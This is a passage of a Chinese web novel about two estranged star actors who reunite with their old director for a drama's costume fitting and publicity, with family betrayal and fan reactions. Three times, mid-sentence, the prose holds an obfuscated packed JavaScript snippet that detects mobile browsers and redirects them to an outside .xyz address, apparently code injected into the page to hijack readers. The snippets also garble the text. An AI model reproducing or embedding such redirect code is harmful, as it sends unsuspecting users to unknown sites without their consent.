后来好不容易有戏拍，还顺利播出，开始的几部作品口碑也很好，还拿了点奖，但播放量很一般，在这个看流量的时代，他在资方面前底气越发不足，一开始还能坚持主演由自己选，后来又没戏拍了，只能选资方的人，剧组被塞的人越来越多，剧也越来越烂。 如果不是出道时拿了点奖，也愿意听资方的话，他都没本子拍了。 至于爆剧？ 那更是如天上的月亮，遥不可及。 本来已经认命了，没想到世界又给他开了个玩笑，他好像又有机会捡起身为导演的骨气了。 《梦影》是他的第一部剧，投注了诸多心血，所有演员都是自己选的，没有人指手画脚，他从不担心作品的质量，拉到大投资重新制作后期后，信心更足，就算观众口味变了，有两位大影帝的流量加持，《司鹿极梦》至少能平播，这已经比他很多作品的播放量好了。 但这部剧能不能爆，还得看两位主演愿不愿意配合宣传。 “东西都拿全了，我们现在上去吗？”当年的副导赵鑫双颊微红，很有斗志，“十年了，没想到咱们的剧还能出这么大的咖，而且还是待播剧，老刘，咱们要起飞了。” “老赵，记住我跟你说的话。” “明白。”赵鑫鼓起勇气，“我比你混得还惨，都三年没本子拍了，这是我唯一的机会，我一定要干一票大的！” 刘铭大手一挥：“大家伙，走，打仗去！” 必须干一票大的，哪怕是干完这一票就跑路，只要剧能爆，他也觉得值了！ 众人斗志昂扬跟着刘导奔赴战场，电梯门打开后，众人鱼贯而入，等电梯关上，看着不停上升的数字，大家的斗志好像又默默减弱了许多。 “那个，老刘。”赵鑫小声问，“前两天的热搜你看了吗？就是，双帝团队决裂那个。” 看了，怎么没看？刘铭面露苦涩，本来今天只是试妆，还没开始直播，完全不需要他这个导演亲自到场，甚至连后续的定档直播他不到场也没问题，只要制片人把控好方向就行。 可他就是不放心啊。 这几年间，双帝的传闻也听了不少，在活动现场也亲眼见过他们形同陌路的模样，他不来亲眼看看，哪里能放心？ 叮！ 31层到了。 电梯门打开。 李志和周雯一左一右站在电梯旁边，面露微笑，跟两门神似的，电梯里的人咽了咽口水，气势啪的一下没了。 这可是双帝的经纪人啊，多少人都够不上的人物。 那么问题来了，他们代表双帝的脸面，要先跟谁打招呼呢？ 赵鑫在后面用手捅捅刘铭的后背，后者在走出电梯的那两三步里疯狂消耗脑细胞，在站定的时候作出决定。 “李经纪，周经纪，第一次正式见面，我是刘铭。”他露出讨好的笑容，从口袋里拿出名片。 双帝成就相当，但左影帝起势更早，就连专属楼层都比宁影帝高，自然排在前面。 李志两人动作犹如复制粘贴，接了名片就一起鞠躬：“刘导言重了，我们哪来的大名，两位老师准备好了，我们带大家过去吧。” 得，他态度谦卑，两大经纪人比他还谦卑，至少不难相处，刘铭和其他人在心里松一口气，跟在李志他们后面。 就是气氛好像怪怪的，怎么路上所有人都跟人机似的？ 一行人来到大化妆间前面，李志和周雯一左一右推开大门，刘铭等人下意识放慢呼吸走进去，映入眼帘的是一大群忙碌的工作人员，大家在房间里来回穿梭，表情肃穆。 刘铭顿了顿，心说不是他们负责化妆吗？怎么屋里这么多人？都在忙什么啊？ 不过他没心思去想这个，紧张地穿过人群来到化妆台前。 本来以为就算看不到剑拔弩张的场景，两位影帝也会和地方隔一条银河坐着，没想到想象中的场景全都没有，两位影帝不仅挨着坐，而且还拿着《司鹿极梦》的海报在和的制片人钱梦谈笑风生。 啊？ 这...... 刘铭又是一愣，但没忘记打招呼：“左老师，宁老师，钱制片，好久不见。” 左知攸和宁柏右一起转过椅子，当场给大家来一个神颜暴击。 多配的脸啊。 当初，左知攸两人的经纪人还是他们的师姐陈露，刘铭第一次看到陈露给的照片就觉得这就是他要找的两位男主。 “刘导。”左知攸弯眸笑，轻声调侃，“这么多年不见，您还是那么喜欢灰色POLO衫啊。” 刘铭紧张的心情一松，露出放松的笑：“这么多年不见，您还是爱调侃我的穿搭。” “他就这样，每天衣服不重样，也爱对别人指指点点。”宁柏右笑容温柔。 “宁老师这话说的，我只是说一句，怎么就是指指点点了？” “是是是，我错了，小书别生气。” “你知道就好。” 看着二人自然的互动，刘铭自然是放心了，心里却有些遗憾。 他也是圈里人，哪里不知道这两位变了样子呢？ 以前的开心果左知攸不爱笑了，以前沉默寡言的宁柏右倒是话变多了，人也亲切了，都变了。 现在这样子，只怕是为了营业。 看看这敬业程度，难怪人家能当影帝呢。 就是可惜他当年磕的cp，就这么be了。 心中诸多感叹没必要与人说，刘铭让大家过去帮忙，他和钱梦去联络联络感情。 “怎么回事？不是听说热搜出来后，星辰影帝的高层把左老师和宁老师叫过去训话，让他们别在外面闹太难看吗？”赵鑫悄悄溜过来打听。 钱梦挑眉，她也是星辰影视的人，可没听说这两位主被谁训过话，这可是星辰影视培养的两大影帝，从出道开始就是自家崽崽，哪里舍得训话？哄着还来不及呢。 “不是训话，是叫过去开来年的影视计划会议，其他影帝影后也在。” “那决裂的事情......” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14950564|160911||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 甭管有没有决裂，两位老师摆出态度了，钱梦自然不会拖后腿，笑着摇头：“从来没决裂过，你们看，这像吗？” 刘铭和赵鑫回头，左知攸正在跟化妆师聊天，还拿着一个眼影盒去跟宁柏右聊天，好像是在说这个牌子的眼影比较服帖什么的，因离得远，听不太清，但瞧着，好像关系很好哈？ 难道圈里人也被误导了？ 这都是星辰影视的把戏？ 刘铭和赵鑫对视一眼，齐齐露出笑，呵呵，我就知道你也不信。 “你跟平台那边谈得怎么样了？宣传计划是什么？”刘铭回归正题。 “招商会已经结束了。”两位大影帝什么咖位，投资商对他们的剧信心十足，都不用主演到场就打得头破血流，平台也是秉着他们以后可能不会再合作的想法，疯了一样塞行程，“定档直播后去拍几个贴片广告，后续有个聚影视总公司的扫楼，播完后有一个团综。” “待遇那么好啊。”赵鑫神情恍然，他的剧居然也能有这种待遇？好不真实啊，跟做梦一样。 “好吗？这可是双帝啊，那么大的流量，他们的剧就这点待遇？”刘铭摇头，“开播和收官演唱会都没有不说，连宣传综艺也没有，甚至连发布会也不办吗？咱们是在元旦开播，跨年宣传也没和电视台谈好？” 圈内小花小生的剧都比这待遇好，大花大生的剧就更不用说了，双帝的剧就这待遇？！ 钱梦轻笑：“这些都有，不过我们公司没同意。”这些年崽崽们宣传电影也没有这么累的，那么多活，把崽累死谁赔啊，不就是一个电视剧吗？播的好不好又不影响崽崽的事业，如果不是两位崽在意，公司都不带倾注资源的。 “为什么不同意？”刘铭着急，“多宣传才能爆啊。”自己防爆自己？离不离谱？ “适可而止，营销过度会逆反的。”钱梦觉得他们简直跟广告商和平台一样疯了，“剧能不能爆，还得看剧本身的质量，两位老师的名气加成固然重要，但也不能本末倒置。” 双帝合作，他们还愿意营业宣传，话题度和关注度都是满的，多几次宣传对热度也没有太大帮助。 但对两位崽不一样。 他们是影帝，要冲奖的，流量可以高，但营销过度绝对不是好事。 他们星辰影视的两位崽的人气和口碑可不能被这么消耗。 刘铭有些遗憾，但也理解，回头去看他的崛起希望，行程不增加，那他帮忙麦一麦可以吧？ “左老师，宁老师，能比个心吗？我拍个照。” 左知攸听到，笑着转身，和宁柏右靠在一起露出笑，举起手用拇指和食指比心，而宁柏右这是抬起手臂放在头顶比了半颗心。 感觉到不对，左知攸转头，表情微微一愣，落寞一闪而过。 果然，他们连默契都没了。 算了，想这些没意思，都过去了。 “宁老师，刘导说的是比个心，不是一起比个心哦。”他快速收拾好心情，重新露出笑容，眉眼弯弯。 宁柏右把手放下来，笑容柔和，似有些无奈：“好吧，都听你的。” 刘铭默默把录影关掉，快速将那不默契的几秒视频删掉，换成拍照模式：“两种比心都来吧。” 这一刻，他似乎听到了啪啪打脸的声音，明明前段时间他还说过不用刻意营业来着。 可......那时候他还很忐忑，不好提要求，如今他醒悟了，这可能是自己唯一一次崛起的希望，错过就是煞笔！ 麦！ 主演必须给我麦！ 拼命麦！ 18. 第 18 章 咔嚓！ 照片定格在靠在一起比心的画面。 刘铭仔细检查两张照片，差太多了，和十年前的感觉差太多了，吃过细糠的他心里有些遗憾。 左知攸两人继续化妆，刘铭坐在旁边P照片，背景里不该出现的工作人员全部P掉，只剩下照片的两位主人公。 等把WB发出去，他收好手机，觉得屋里好像怪怪的，见大家都很安静，他反应过来。 原来是左知攸他们不说话了。 不知道为什么，刘铭反倒是更喜欢这样真实的他们，心里的忐忑和遗憾淡了许多，不由得笑了出来，像十年前那样搬一张小板凳坐到他的两位主演之间，语气轻松。 “怎么？装不下去了？” 现场所有人：你可真是会说话啊。 化妆师在上妆，左知攸没有太多动作，平静的表情微微带上笑，声音轻淡：“又被你看出来了？” “其实你们当朋友也挺不错的，没必要这么尴尬。” 左知攸和宁柏右在镜子里对视，眼里都闪过一丝苦笑，都分手十年了，却跟刚分手一样尴尬，他们也不想啊，可好像就是没法控制。 “就算当不了朋友，你们也还是同学，不是吗？” “我会克服，不会影响到宣传的。”左知攸给出承诺。 宁柏右垂眸：“放心吧。” 刘铭微微叹气，抬手同时拍拍他们的肩膀：“无关宣传，我是真心的。” “认识那么多年还要帮我们破冰，辛苦您了。”左知攸能感受到他的真心，情绪稍微放松一点，“宁老师，要不想个法子？这样宣传也轻松一点，老绷着情绪想怎么演好像也挺累的。” “嗯。”宁柏右眼眸带笑，“化完妆拍个视频吧，可以帮忙宣传还能破冰，一举两得，就是要麻烦刘导想一下有什么破冰的好游戏或者问答。” 左知攸唇角明显翘起：“那麻烦刘导了？” “不麻烦。”刘铭求之不得，让他们好好化妆，自己和赵鑫到旁边讨论，钱梦溜达过来，轻声问，“拍视频确定可以？面对镜头他们不会更难放松吗？” 李志凑过来，他足够了解左知攸，明白左知攸为什么笑：“挺好的，他们这十年没有交流，私下交谈只能说以前的事情，大家或多或少都知道他们是什么情况，真不利于破冰。” 周雯也足够了解宁柏右，明白他为什么提出这个办法：“其实他们已经私下交谈过一段时间，效果不好，拍个视频也好，话题我们来筛选，反倒能找出破冰的点。” 既然两人的经纪人都这么说，几人也就开始工作了，拿出手机面对面建群，刷刷刷往里发自己的想法。 不多时，小方这几个小助理也参与进来。 左知攸从镜子里看他们打字都显得激烈的氛围，心里生出歉意，宣传期即将到来，放松心态本是他该做的，现在却要让大家担心。 几秒后，他心里的抵抗逐渐瓦解，把桌上的手机摸过来，打开二维码将手机推过去，释放出和好的信号：“宁老师，大家这么努力，我们也主动点吧。” 宁柏右一顿，伸出手挡住滑过来的手机：“嗯。” 嘀！ 扫码声响起。 时隔十年，他们终于重新加上好友。 看着十年都没变的鹿头头像，宁柏右深吸一口气，鼓起勇气发消息。 【右右哥：左老师，重新认识一下，我是宁柏右。】 桌上的手机屏幕变动，他想起来手机没滑回去，轻轻一推，另一边，一直把手搭在桌上等手机的左知攸微微抬起修长的手掌，等手机滑到手下便抓起，垂眸看到新消息，顿了顿。 不知道为什么，明明之前那么难放下，看到“重新认识”这几个字，他突然释然了。 是啊，“重新”，既然放下了，那当然是“重新”。 泪意微起，眨动几下也没消失，他看着镜子里的那双水眸，两边唇角微微向上弯，垂眸打字。 【攸攸：宁老师，重新认识一下，我是左知攸。】 忐忑了几分钟的宁柏右看到这条回复，心下一松，又有些怅然，看向镜子里垂眸微笑的那个人，片刻后，舒出一口气。 既然能让攸攸真的开心起来，那就放下吧。 真的，放下了。 -- “呼，总算是搞定了。”刘铭仔细检查大家讨论出来的小游戏和几个问答，小声问，“那就确定是这个了？” “好像不需要了。”李志侧身，微微摊手，又无奈又高兴，“不一样了。” 啊？ 众人侧身看向化妆台前的化妆团队，大家表情放松，没有一开始那种既放松又担心暴风雨将之的忐忑感，氛围很是轻松，没有那种活人微死的人机感了呢。 被众星捧月的左知攸两人，虽然没有交流，却比一开始故作轻松的交谈来得自然。 “啊，这，那，那......”刘铭有些迷茫，“发生了什么？” “自己看开了吧。”李志伸了个懒腰，大手一挥，“我还有点事儿要处理，先走了，伙计们，走了，该忙啥忙啥。” 周雯紧随其后，干练的挥动手指，也带上团队的人走。 一大群人鱼贯而出，屋里突然空旷了许多，只留下几个助理和钱梦，刘铭等剧组的人有些目瞪口呆，化妆师的手差点都抖了。 啊，这，原来人员可以精简成这样的吗？ 我们就说不知道星辰影视的人到底在忙什么，但大家表情都很严肃的样子，好像真的很忙，不过咱也不好问。 结果，好家伙，原来你们是随时可以撤的啊。 那你们装得那么忙做什么？难道还担心两位老师打起来？随时准备拉架？还是等着两位老师打起来的时候帮忙？ 剧组的人对视一眼，有些服气，难怪人家能进星辰影视工作呢，这也太高深莫测了。 叮咚！ 刘铭的手机响起消息提示音，打破了一室的沉默。 众人回过神，该干嘛干嘛，刘铭打开手机低头看，有些忍不住笑。 “上热搜了？”钱梦挑眉，这不应该啊，公司怕网友逆反，都不敢让两位崽老住热搜上，两位崽流量高，公司已经好几年没帮忙买过热搜，甚至还会主动找WB那边撤掉许多热搜，平时也有让WB那边帮忙压热度。 怎么一张合照就上热搜了？ 公司这边也没说要放开热度，能上热搜，是谁打招呼买了热度？ “上热搜怎么了？”刘铭还挺开心，想到两位主演和好了，更开心。 钱梦看到视频平台那边发来的消息，微微一笑：“没什么。” 不是什么双帝吵架，双帝决裂就行，想到之前的几个黑热搜，她心里冷哼，两位崽的第一次合作即将上线，公司十分重视，有些老蹦跶的人是该处理了。 他们讨论游戏和问答的时间其实挺久的，已经过去了快两个小时，化妆已经进入尾声，服装师已经整理好衣服，就等着给他们穿。 等化妆结束，左知攸去穿衣服的时候，钱梦笑着走过去：“左老师，来一下。” 左知攸嗯了一声，把戏服还给服装师，在大家疑惑的表情下与宁柏右擦肩 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14950565|160911||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 而过，在他的目送下和钱梦一起来到没人的角落里。 “左老师，您和林悠然挺熟的，有些事情公司犹豫了许久，觉得还是要让你知道。” “悠然？”左知攸有些疑惑，将她手上的手机拿过来，眼底逐渐染上自嘲，过去的一幕幕在脑海中回放，有些疑惑得到了解释。 “左老师，你没事吧？” “没事。”左知攸笑着把手机还回去，微微摇头，转身出去拿戏服。 宁柏右还在原地等他，表情关切，似乎在犹豫要不要问他有没有事。 “下次有事情可以跟我说，不用一个人承受，你那么笨，又不如别人坚强，对别人的了解也不多，怎么对付他们？”左知攸有些无奈，说完顿了顿，似乎还有别的话要说，最终只是笑了笑，“算了，你去换衣服吧。” 宁柏右不解，却听话地拿着戏服去换衣间，走到半路逐渐反应过来他说的是什么，始终挂着的温和笑意逐渐变得有些委屈，又落寞。 另一边，左知攸拿着手机回到自己的办公室里关上门，拨出一个电话。 “是我。” 另一头声音嘈杂，有人在鬼哭狼嚎地唱歌，听起来像是在KTV，懒散的男声通过电话传来，似乎有几分高兴：“三哥，怎么有空给我打电话？” “左知羽。”左知攸拉上窗帘，语气冰冷，“十年前有你一份吗？” 电话那头顿了顿，左知攸得到了答案，又问：“林悠然呢？” “三哥，你听我解释......”左知羽有点害怕。 “不必。”左知攸闭上眼睛，靠着墙壁，嘴角染上嘲讽，“十年过去，真想解释早就解释了，我就问你，你们为什么要这么做？” “宁柏右根本就配不上你，他一个穷小子，学识眼界都不够，你们......”左知羽的语气极其看不上，这会儿倒是不害怕了，而这些话，左知攸在十年前已经听自己的父母说过好多次，只觉得可笑，还讽刺。 “那谢谢你们啊。”左知攸打断他的话，“呵，这么多年，我无论做什么你们都支持我，我一直以为你们能理解我的心情，原来一切都是伪装，看我感动了十年，是不是很高兴？” “三哥，我们没有这么想。”左知羽着急地解释，“我们只是不知道该怎么跟你说......” “好！”左知攸不想听这些，怒火爬上脸庞，“那你告诉我，十年了，是不是一直没机会告诉我？！” 对面讷讷不敢言，左知攸满是失望，逐渐生出厌恶：“你们这一家子，全都以为我好的名义来操控我的人生，呵，你们何止看不上他，也看不上我吧。” “三哥，我不是！”左知羽委屈地解释，“都是爸爸逼我的，他说只要你回家，我和林悠然就不用联姻了，我们也没有办法。” “这就是你们牺牲我的理由吗？我还以为你能说出花来呢。”左知攸把电话挂掉，打开手机看着左知羽和林悠然的联系方式，脸上的怒意和冷色逐渐消退，只剩疲惫。 叩叩！ 守着门的李志没再听到动静，敲门。 “左老师，休息好了吗？” 左知攸视线缓缓移动，没有回答，低头打开和宁柏右的聊天界面，看着十年都没变的合照比心头像，逐渐勾起一抹遗憾的笑。 少年的感情啊，最是热烈持久，也最容易被拆散。 “你们最终还是达到目的了。” 年少时的愤怒和反抗，看似激烈，在大人眼里其实就是个笑话吧。 那么，作为家人，我也该在长大后做点为你们好的事情吧。 19. 第 19 章 换衣间的门推开，背着墨色古刀的金服青年缓缓从里面走出来，年长者的成熟与眼中透着年少的纯粹完美交织在一起，在场所有人都倒吸一口冷气。 刘铭激动地走到最前面，绕着自己的男主演之一转了好几个圈，竟是有几分感动：“斯雨长大了。” 宁柏右挂上遗憾的笑容：“好像是没有以前的感觉，会有点OOC。” “毕竟过去十年了。”刘铭搓着手，“能有这个扮相已经很不错了。” “没错，一味追求年少感反倒会有一种扮嫩的油腻感，这样就很好。”钱梦很是满意，笑容满面。 身处自己这个位置，身边听到的都是好话，宁柏右笑了笑，自己走到镜子前仔细瞧，见扮相的确不错才松一口气。 十八岁的稚嫩是很难伪装的，他没有娃娃脸，这些年心里一直备受煎熬，能有几分年少感已经不错了。 左知攸不知何时从外面走进来，就站在人群后面，有些怔然地看着这件熟悉的金色戏服。 明明花絮也看过不少，可亲眼看到十年后的宁柏右穿上这套金色猎魔使官服，他还是没能藏住自己的情绪。 人群中的男人突然抬眼，视线和对面的银色鹿角青年撞上一瞬就垂眸掩饰自己的苦涩。 “哇偶~~~”左知攸回过神来，很是捧场地鼓掌，“宁老师，你让我有压力了。” 宁柏右也重新抬眸笑起来，视线在他身上停留几秒，能察觉到他的心情其实没有表现出来的那么好，隐隐有些担忧，但也知道他不希望别人知道，就轻声开玩笑：“左老师竟然还会有压力？” “当然会有压力。”左知攸走到他身边，哪怕穿着现代服饰，头上的银色鹿角也不显违和，像极了一只现代鹿妖，轻笑时隐隐透着一股妖族特有的蛊惑人心，“小书可是一只小鹿妖，万一我扮相比你年长，谁还分得清谁是小书？” “嗯哼？是吗？左老师光是站在这都比我年轻，得多努力才能看起来比我年长？” “宁老师也没有老到这个程度。”左知攸知道他在哄自己，不可抑制地变得高兴一点，弯眸笑起来后，隐隐能感觉到他放心一点，不由得看过去。 不巧，对方也看过来。 两人对上眼神，下一秒一起移开，都露出笑掩饰那几分慌乱。 “我去换衣服。”左知攸往换衣间走。 宁柏右没有接话，只是笑了笑，没有敢看他太久。 服装师和小方等人将戏服送进换衣间，小方和小丽在外面守门，服装师站得稍微远一点。 “之前左老师不是说他的气势必须比宁老师高，也不能崩人设，还说这是原则问题吗？”小方有些摸不着头脑，凑到小丽旁边小声问，“怎么今天什么原则都没了？” 小丽哪知道呀，微微耸肩：“可能又改变想法了吧，你知道的，遇上宁老师，左老师的想法总是一天一变。” “也是，这段时间都变好多次了。” 叩叩！ 门后传来很轻的敲门声，隐隐带着警告。 门外两人对视一眼，拉开距离，嘴里恭维一句“左老师最敬业”就老老实实地看门，不敢再蛐蛐。 古装里三层外三层的，并不好穿，可左知攸却像是回到了十年前穿戏服的时候，竟是没有一点陌生，等穿好衣服，他察觉到自己的动作很快后微微一怔。 有些记忆就算心里再想拼命埋藏起来，身体却好像一直在抗拒忘记。 “怎么又想这件事了。”他低声呢喃，深呼吸笑起来，打开门走出去，在门后的时候还有几分成熟感，等踏出换衣间，成熟感已经全部褪去，弯眸笑的时候，像极了一只山间的精灵。 见过左知攸的扮相的众人本以拔高了期待，此时却又是一默，像是看到了穿越而来的鹿妖小书。 “呜呜呜，我的小书啊，爸爸爱你！”刘铭惊喜万分，像过去一样，犹如老父亲般露出慈爱的笑容，正想要扑过来抱抱儿子，左知攸抬眼，叉腰看向人群外发呆的宁柏右，神情骄纵，“斯雨，家里怎么会多出这么多奇奇怪怪的人啊。” 宁柏右勾唇，像是回到了过去，站起来走过去：“请来给你唱戏的，喜欢吗？” “还行吧。” “就是这个味，就是这个味！”刘铭几乎要尖叫出声，十年了，他的小书没变！ “噗！”左知攸有点破功，掩唇轻笑，“刘导，你也太夸张了吧。” 见他变得成熟了几分，刘铭变脸：“你就不能保持得久一点吗？” “这又不是拍戏，演来演去不累吗？”左知攸往全身镜前站，转来转去地看，见只能照到宁柏右一半身子，伸出手抓住他的手臂把人拉过来和自己站在一起，摸着下巴打量，都把宁柏右打量紧张了。 “怎，怎么了？” “我看起来是比你年轻几岁哈。”左知攸放开手，“宁老师，放轻松点，我又不会吃了你。” 宁柏右笑得温柔：“我是猎魔使，可不怕你一只小鹿妖。” “呵，小鹿妖，我第二世还是神族小殿下呢，能拯救天下的，比你厉害多了。”左知攸有点不服气，却收敛了自己的脾气，“小殿下的衣服带来了吗？” “带来了！”服装师的脸差点笑成菊花，“现在试吗？” “别。”崽崽坐着化好几小时妆，肯定累了，钱梦抬手看看手表，“快到吃饭的点了，先拍几组照片，对了，刚刚说的视频也拍了吧，弄完就去吃饭，我请客。” “谢谢梦姐，我要吃御芳园。”左知攸立刻大薅羊毛。 宁柏右抿唇，眼神时不时落在他身上又克制地移开，有些神思不属地跟着道：“我也要吃。” 钱梦肉疼地捂着胸口，两个崽要吃，还能怎么办？宠着呗：“行，就去御芳园。” 刘铭慈爱地看着自己的两位主演，心情很是畅快：“快快快，拍几组照片，我要发出去！” 服装师走过来：“两位老师，衣服有什么需要改的吗？有没有觉得哪里不舒服？” 说起这个，左知攸扯了一下领口：“这里有点扎，我看线头露出来了，回头改一改吧，还有比例好像和过去的戏服不太一样？” “嗯，两位老师都长高了，身材和过去也有些变化，戏服是重新做的。” “我还以为是改的呢。”左知攸一惊。 “十年前的衣服保养得不是很好，现在拉到好投资，就重新做了。” “小殿下的衣服也是吗？” “嗯。” 左知攸缓缓点头，看宁柏右不说话，就帮忙问他有没有觉得戏服哪里有问题，宁柏右也提了几句，服装师都记下来后，两人并肩去拍照。 “第二世的司御和姬殊也有年龄差，司御比较成熟，你现在自然多了。”左知攸子在路上轻声道。 宁柏右把落到他身上的视线收回来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14950566|160911||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，弯唇：“以前是演成熟感，现在反倒要演年少感了。” 左知攸下意识去墙面反光的他们，其实他们年纪都不大，保养得也好，虽说吃过爱情的苦，可事业顺风顺水，过得还是不错的，很显年轻，哪怕是穿十年前的戏服也不显违和。 只是，十年前的他们也不会像现在这样，竟是能有几岁年龄差。 他们年龄相当，境遇差不多，唯一的差别就是心理方面吧，他走了，这些年生气归生气，可该骂的骂，没怎么内耗，但宁柏右...... 左知攸有些心疼：“这些年你......” “都过去了，别不开心。”宁柏右笑得轻松，“我们说好了要让斯雨和小书开开心心的。”你也说放下就能开心的。 “对。”左知攸重新扬起明媚的笑容，“我们要开开心心的。” -- 在两小时前，刘铭发了双帝比心合照，平台看见了，等了一会儿都没看到热搜，想起听说星辰影视会压热度的事情，才立刻打招呼让平台那边帮忙上热搜。 只是，《司鹿极梦》被各方围攻那么久，真是双拳难敌四手，不买账的网友好像越来越多。 【唉，势均力敌的死对头啊，其实挺好磕的，但不太敢磕。】 【同在公司却十年无交集的死对头，因为一部剧被抬上来才开始营业，这不是假的是什么？怎么磕得动啊。】 【之前互关和送祝福，知道他们在麦我也愿意磕呜呜呜，可是感觉左右cp迟早会be诶，不敢。】 【救命啊，剧方和平台能不能别反复横跳，一会儿让我们磕，一会儿又让左右cp决裂上热搜，这怎么磕得动啊。】 【其实他们还是更适合纯恨赛道。】 【一会儿甜一会儿虐，反复横跳，有什么好磕的，来纯恨吧，包出圈的。】 见剧都快要播了，定档直播都快开始了，外界还在唱衰，就算是对双帝很有自信的平台也有些惴惴不安，就打了个电话给钱梦。 为什么聚影视那么大的平台和各个金主爸爸以及星辰影视都把控不住舆论的走向？归根到底还不是因为两位主演的表现无法说服网友吗？ 咳咳，当然，以上是左知攸和宁柏右听到钱梦转达的话后自己翻译的，平台那边的措辞是很隐晦很温和的。 既然听明白了，两人自然也就知道要做什么了，立刻关注彼此的超话，发了个打卡抱抱的帖子，还在里面说正一起出发去吃饭，其他平台的账号也互关了。 两人终于明确传递出要冰释前嫌的信号，互动还很多，舆论彻底大变。 【如果是假的，那我磕磕怎么了？如果是真的，我为什么不能磕？】 【啊啊啊，不纠结了，从现在开始，左右cp就是最甜的！】 【只要愿意讨好朕，朕就敢磕！传朕旨意，磕，给我往死里磕！】 【乐不斯书就是真的！左宜右宜就是真的！豹豹猫猫这么努力，必须是真的！】 【双帝世纪大和解！呜呜呜，谁懂啊，老早就觉得他们很配，不在一起真的好可惜呜呜呜！】 【这次的营业好像真的不一样，虚假中掺杂着一丝真意？啊，我不管了，再被cp教育一次又怎么样！】 【死对头都和解了，我为什么不敢冲？】 【无所谓，你们营业我就吃饭，剧播完我就上高速赶路，就算以后be我也当看不到，冲！】 20. 第 20 章 下午刚拍完一组照片的时候，外面的气温降了不少，星辰影视的办公楼里温暖如春，左知攸回化妆间卸妆的路上看到外面下起雪来，想起来以前拍戏的时候也经常下雪，这导致剧里的几场实景下雪戏，氛围十分地好。 他拍完戏后喜欢去玩雪，堆雪人，打雪仗，宁柏右也跟着，他还喜欢拍照留念。 “宁老师，你以前好像没有主动跟我合过影，正好我们穿着戏服，就在这拍个合照吧，就当是给司御和姬殊合影。”他主动往落地窗边走，见摄影要跟过去，摆摆手，“手机就行。” “嗯。”宁柏右噙着温和的笑意点头，从助理手里拿过手机，一起站到窗边。 咔嚓！ 几张合照拍完，他们背着落地窗，身后是洋洋洒洒的白雪，彼此之间的距离稍微有点远，弯着唇竖起剪刀手，像是刚认识没多久的陌生人。 伸手去查看照片，左知攸其实挺满意的。 他们要的不是伪装出来的亲密，真实状态下就很好。 这是私藏的照片，用来弥补过去遗憾的，并没有打算发出去。 说好了要画下一个圆满的句号，那一一弥补过去的遗憾，好像对放下挺有帮助的。 至少照片拍完，他们都比刚才高兴一些，好像在逐渐释然了。 “好运来~祝你好运来~”钱梦的电话铃声响起，她走到远离人群的地方接听，两分钟后走回来，“左老师，宁老师，刘导，咱们进会议室开个小会？你们先进去，我通知李志和周雯。” 左知攸正在接收宁柏右发来的照片原图，闻言嗯了一声，一边放大原图一边往会议室走。 “小丽，走吧，我们给大家订奶茶。”小方很主动地道。 宁柏右那边正在吩咐小胡订奶茶，闻言改了一下：“那你去订点心吧，我们开会的时候在外面问问大家都喜欢什么口味，稍微统计就赶紧下单，免得来不及送。” “好。” 叮嘱完，左知攸两人率先进入会议室，一左一右坐着，刘铭也在叮嘱剧组的工作人员收拾东西，进来后站在门口有些犹豫。 要命，他要坐哪边啊？ “坐我这里吧。”宁柏右率先道。 这段时间左知攸很少仔细观察他，今天相处下来，发现他的变化比自己想象中大，原来传闻中的温和亲切、平易近人的宁影帝还真不是装的，周围的人的确很容易就能感受到他的关心。 情商比十年前真的高多了，难怪圈里人对他的评价那么高。 “宁老师，你的拍照构图真的不太行。”左知攸继续看照片，并未发表什么意见，好不容易才把照片给截好，看起来构图好多了，再把弄好的新照片发过去。 宁柏右把照片保存，放到加密相册里面。 就在这时，钱梦他们开门走进来，两个经纪人坐在自己艺人下面，钱梦也坐到刘铭对面。 “刚刚哈哈娱乐的一哥塌房上了热搜，过几天他要去水果台剧宣，这部剧他是一番。”钱梦三言两语就告诉大家情况。 都是圈内人，也不用问细节，一番男主塌房，剧只能被埋，剧宣是别想了，电视台的通告也会空出来，剧宣通常是好几个人一起去，几天时间内要重新找人，电视台自然要找人救场。 星辰影视家大业大，艺人多，通常会是各大电视台求救的第一选择。 “想让咱们剧组去？”刘铭还挺乐意的，当然，得看两位大佬的意思。 左知攸和宁柏右对视一眼，他们都没参加过综艺，心境是差不多的，积极宣传，给《司鹿极梦》一个好的氛围是一回事，上综艺会不会出问题又是另一回事。 周雯不太担心宁柏右会出错，平易近人宁影帝的标签可不是一天两天就形成的，现在可不是十年前了，主要看另一位大佬的意思。 “我记得半个月前就有消息说他接了《哈喽计划》的通告。”李志接话，话里话外不太想接，“这是国民度很高的直播类棚综，直播时表现不好，因此塌房的艺人有不少。” “嗯，对，我脾气不好，直播容易出事嘛。”左知攸隐隐带笑着翻译。 